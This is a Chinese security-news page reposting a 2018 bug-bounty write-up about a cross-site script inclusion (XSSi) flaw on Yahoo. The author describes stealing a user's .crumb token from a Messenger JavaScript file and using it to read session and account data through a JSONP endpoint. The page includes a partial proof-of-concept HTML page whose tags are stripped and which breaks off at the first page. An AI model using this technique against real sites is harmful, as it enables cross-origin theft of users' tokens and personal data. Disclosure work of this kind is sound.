欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

看我如何发现雅虎XSSi漏洞实现用户信息窃取

来源:本站整理 作者:佚名 时间:2018-08-17 TAG: 我要投稿


发现某种特定类别漏洞由两个关键部分组成,那就是对漏洞的认知以及挖掘的难易程度。跨站脚本包含漏洞(XSSi)在公认的安全标准OWASP TOP 10中并未被提及,而且它也没有一些公开可利用的工具。但它的影响涉及个人存储信息泄露、token保护机制绕过以及账户劫持等。目前来说,由于XSSi漏洞存在广泛且缺乏有效的检测手段,导致其漏洞危害程度增加。在这篇文章中我将分享我发现的一个雅虎XSSi漏洞,利用该漏洞可以实现对雅虎用户的信息窃取。
端倪
在参与雅虎(Yahoo)漏洞众测项目中,在我某次用BurpSuite来进行抓包分析时,偶然看到了以下这个请求:

在我发现这是一个JSONP服务端之后,我立马意识到这可能会形成一个XSSi漏洞(跨站脚本包含)。在雅虎网站API中,.crumb 值其实就是一个随机字符串,它与用户的session和身份验证值相关,我注意到,如果在该请求中,GET参数 .crumb 值无效的话,其响应如下:

利用
现在,我想,如果能以某种方式去窃取到受害者的有效.crumb 值的话,那么就能窃取到对方的具体账号信息值了。因此,我就在BurpSuite的抓包中来查找所有包含有效 .crumb 值的请求,最终,我发现了在某个动态的Javascript文件存在这样的信息,该Javascript文件位于https://messenger.yahoo.com/embed/app.js。如果你现在去检查这个Javascript文件,你会发现它其中的 logoutCrumb 值已经被删除修复了,我初次发现时,它的源代码如下:

现在,XSSi 漏洞原理其实是这样的,它允许攻击者绕过原始边界窃取特定类型数据,利用了标记的src属性来突破同源策略( SOP),也即在标记中,浏览器不会阻止网页加载图像和文字等第三方资源。因此,为了窃取https://messenger.yahoo.com/embed/app.js中的有效回调 .crumb 值,然后把它放置在链接https://jsapi.login.yahoo.com/w/device_users?.crumb=POR1.kRjsx中进行请求,以获取到相关用户的session信息,我编写了如下PoC代码:
html>
    head>
        title>Yahoo XSSi PoCtitle>
    head>
    body>       
        div style="width: 60%; margin-right: auto; margin-left: auto; margin-bottom: 30px;">
            h1 style="text-align: center;">Proof of Concepth1>
            b>Dataset 1:b>
            div id="content1" style="width: 100%; border: 1px solid black; padding: 10px; overflow: scroll; font-family: monospace;">div>
            br/>
            b>Dataset 2:b>
            div id="content2" style="width: 100%; border: 1px solid black; padding: 10px; overflow: scroll; font-family: monospace;">div>
        div>
        script>
            function processDeviceUsers(data) {
                document.getElementById("content1").innerHTML = JSON.stringify(data);
            }
            window.onload = function () {
                var config = {};
                config_data = {};

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载